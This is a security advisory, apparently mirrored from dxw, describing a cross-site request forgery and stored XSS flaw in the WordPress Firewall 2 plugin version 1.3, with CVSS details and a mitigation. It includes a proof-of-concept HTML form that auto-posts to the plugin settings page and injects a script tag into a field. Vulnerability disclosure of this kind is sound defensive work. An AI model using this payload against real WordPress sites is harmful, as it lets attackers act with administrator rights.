WordPress Firewall 2 1.3 Cross Site Request Forgery / Cross Site Scripting

`Details  
================  
Software: WordPress Firewall 2  
Version: 1.3  
Homepage: https://wordpress.org/plugins/wordpress-firewall-2/  
Advisory report: https://security.dxw.com/advisories/csrfstored-xss-in-wordpress-firewall-2-allows-unauthenticated-attackers-to-do-almost-anything-an-admin-can/  
CVE: Awaiting assignment  
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N)  
  
Description  
================  
CSRF/stored XSS in WordPress Firewall 2 allows unauthenticated attackers to do almost anything an admin can  
  
Vulnerability  
================  
HTML is not escaped and there is no CSRF prevention, meaning attackers can put arbitrary HTML content onto the settings page.  
  
Proof of concept  
================  
Visit the following page, click on the submit button, then visit the pluginas options page:  
<form method=\"POST\" action=\"http://localhost/wp-admin/options-general.php?page=wordpress-firewall-2%2Fwordpress-firewall-2.php\">  
<input type=\"text\" name=\"email_address\" value=\""><script>alert(1)</script>\">  
<input type=\"text\" name=\"set_email\" value=\"Set Email\">  
<input type=\"submit\">  
</form>  
In a real attack, forms can be submitted automatically and spear-phishing attacks can be convincing.  
  
Mitigations  
================  
Disable the plugin until a new version is released that fixes this bug.
